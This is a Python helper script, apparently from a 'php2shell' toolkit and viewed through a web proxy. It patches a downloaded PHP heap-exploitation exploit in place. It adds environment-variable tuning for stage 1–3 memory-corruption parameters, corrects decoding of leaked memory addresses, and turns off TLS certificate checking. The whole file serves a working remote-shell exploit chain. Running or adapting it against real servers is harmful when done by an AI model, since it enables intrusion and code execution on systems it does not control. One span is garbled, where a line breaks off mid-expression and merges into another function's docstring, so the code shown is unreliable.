[ Web Proxy ]
URL:
Viewing: https://raw.githubusercontent.com/devploit/php2shell/main/tools/php2shell_upstream.py [Back]  [Original]

#!/usr/bin/env python3
"""Runtime changes applied to the fetched upstream exploit.

The upstream repository has no explicit license, so its source is not vendored
and no patch file is redistributed. The toolkit applies the minimal changes in
place: SNI on HTTPS and environment overrides for the heap parameters. The same
changes are documented in docs/upstream-changes.md for manual use.
"""

from __future__ import annotations

import os


def _read(repo: str) -> tuple[str, str] | None:
    path = os.path.join(repo, "exploit.py")
    try:
        with open(path, encoding="utf-8") as fh:
            return path, fh.read()
    except OSError:
        return None


def patch_params(repo: str) -> bool:
    """Inject P2S_STAGE1_N / P2S_FORGE_LEN / P2S_STAGE2_T / P2S_STAGE2_V / P2S_STAGE3_*."""
    found = _read(repo)
    if not found:
        return False
    path, source = found
    knobs_block = (
        "        # P2S_STAGE3_KNOBS\n"
        "        pads_env = _os.environ.get('P2S_STAGE3_PADS')\n"
        "        if pads_env:\n"
        "            self.stage3_pads = [tuple(int(x) for x in item.split(':'))\n"
        "                                for item in pads_env.split(',') if item]\n"
        "        self._p2s_cookie = _os.environ.get('P2S_STAGE3_COOKIE') == '1'\n"
        "        self._p2s_wfields = int(_os.environ.get('P2S_STAGE3_WFIELDS', '0') or 0)\n"
        "        self._p2s_fake_len = int(_os.environ.get('P2S_STAGE3_FAKE_LEN', '0') or 0)\n"
        "        self._p2s_fakes = int(_os.environ.get('P2S_STAGE3_FAKES', '0') or 0)\n"
        "        self._p2s_b_name_len = int(_os.environ.get('P2S_STAGE3_B_NAME_LEN', '0') or 0)\n")
    if "P2S_STAGE1_N" in source:
        if "P2S_STAGE3_KNOBS" in source:
            return False
        anchor = "        self.stage2_v = int(_os.environ.get('P2S_STAGE2_V', self.stage2_v))\n"
        if anchor not in source:
            return False
        source = source.replace(anchor, anchor + knobs_block, 1)
    else:
        anchor = "            self.stage3_carrier = False\n"
        if anchor not in source:
            return False
        inject = anchor + (
            "        import os as _os\n"
            "        self.stage1_n = int(_os.environ.get('P2S_STAGE1_N', self.stage1_n))\n"
            "        self.stage1_forge_len = int(_os.environ.get('P2S_FORGE_LEN', 79))\n"
            "        self.stage2_t = int(_os.environ.get('P2S_STAGE2_T', self.stage2_t))\n"
            "        self.stage2_v = int(_os.environ.get('P2S_STAGE2_V', self.stage2_v))\n"
            + knobs_block)
        source = source.replace(anchor, inject, 1)
        source = source.replace('forge = bytearray(b"A" * 79)',
                                'forge = bytearray(b"A" * self.stage1_forge_len)')
        source = source.replace('if 0x7F0000000000  0x2b) and every stage-3 address
    derived from it missed. Rewriting '+' to '%20' before unquoting restores
    the real bytes; a true '+' byte in memory arrives as '%2B' and decodes
    back to '+' either way, so the rewrite is lossless.
    """
    found = _read(repo)
    if not found:
        return False
    path, source = found
    original = ('    return urllib.parse.unquote_to_bytes'
                '(m.group(1).decode("latin1"))')
    if original not in source:
        return False
    source = source.replace(
        original,
        '    raw = m.group(1).replace(b"+", b"%20")\n'
        '    return urllib.parse.unquote_to_bytes(raw.decode("latin1"))')
    with open(path, "w", encoding="utf-8") as fh:
        fh.write(source)
    return True


def patch_tls(repo: str) -> bool:
    """Accept the lab certificate and always send SNI.

    Some HTTPS servers (and CDNs) answer a handshake without SNI with
    TLSV1_ALERT_INTERNAL_ERROR; keeping server_hostname is required.
    """
    found = _read(repo)
    if not found:
        return False
    path, source = found
    original = source
    source = source.replace("ctx = ssl.create_default_context()",
                            "ctx = ssl._create_unverified_context()")
    source = source.replace("s = ctx.wrap_socket(s)",
                            "s = ctx.wrap_socket(s, server_hostname=self.host)")
    if source == original:
        return False
    with open(path, "w", encoding="utf-8") as fh:
        fh.write(source)
    return True

Web Proxy Viewer  |  New URL  |  Original Page